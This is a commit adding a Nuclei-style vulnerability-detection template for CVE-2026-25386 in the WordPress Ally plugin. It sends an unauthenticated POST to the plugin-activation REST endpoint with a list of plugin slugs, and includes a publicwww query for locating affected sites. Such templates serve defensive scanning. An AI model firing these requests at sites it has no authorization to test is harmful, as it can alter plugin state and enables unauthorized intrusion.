Create CVE-2026-25386.yaml

2026-11-07 08:36:19 -10:00 · 2026-03-17 11:09:27 +05:30
1 changed files with 79 additions and 0 deletions
@@ -0,0 +1,79 @@
+id: CVE-2026-25386
+
+info:
+  name: WordPress Ally Plugin <= 4.0.2 - Missing Authorization in REST API
+  author: pussycat0x
+  severity: medium
+  description: |
+    The Ally – Accessibility Plugin for WordPress (pojo-accessibility) versions 4.0.2 and below
+    contains a missing authorization vulnerability in its REST API endpoints. The plugin fails to
+    implement proper capability checks on the elementor-one/v1 namespace endpoints, allowing
+    unauthenticated attackers to access plugin management functions including activation,
+    deactivation, and migration operations.
+  impact: |
+    An unauthenticated attacker can interact with plugin management REST API endpoints,
+    potentially gathering information about installed plugins or triggering plugin state changes.
+  remediation: Update the Ally plugin to version 4.0.3 or later where proper authorization checks are implemented.
+  reference:
+    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/pojo-accessibility/ally-402-missing-authorization
+    - https://patchstack.com/database/vulnerability/pojo-accessibility/wordpress-ally-plugin-4-0-2-broken-access-control
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
+    cvss-score: 5.3
+    cve-id: CVE-2026-25386
+    cwe-id: CWE-862
+  metadata:
+    verified: true
+    product: ally
+    framework: wordpress
+    publicwww-query: "/wp-content/plugins/pojo-accessibility/"
+  tags: cve,cve2026,wordpress,wp-plugin,ally
+
+http:
+  - raw:
+      - |
+        POST /index.php?rest_route=/elementor-one/v1/plugins/{{slug}}/activate HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+        Accept: application/json
+
+        {}
+
+    payloads:
+      slug:
+        - elementor
+        - elementor-pro
+        - pojo-accessibility
+        - site-mailer
+        - image-optimization
+        - angie
+
+    stop-at-first-match: true
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "Plugin not found"
+          - "not_found"
+          - "rest_cannot_activate_plugin"
+        condition: or
+
+      - type: status
+        status:
+          - 404
+          - 401
+          - 500
+
+      - type: word
+        part: header
+        words:
+          - "application/json"
+
+      - type: word
+        part: body
+        words:
+          - "Sorry, you are not allowed to manage plugins for this site"
+          - "rest_forbidden"
+        negative: true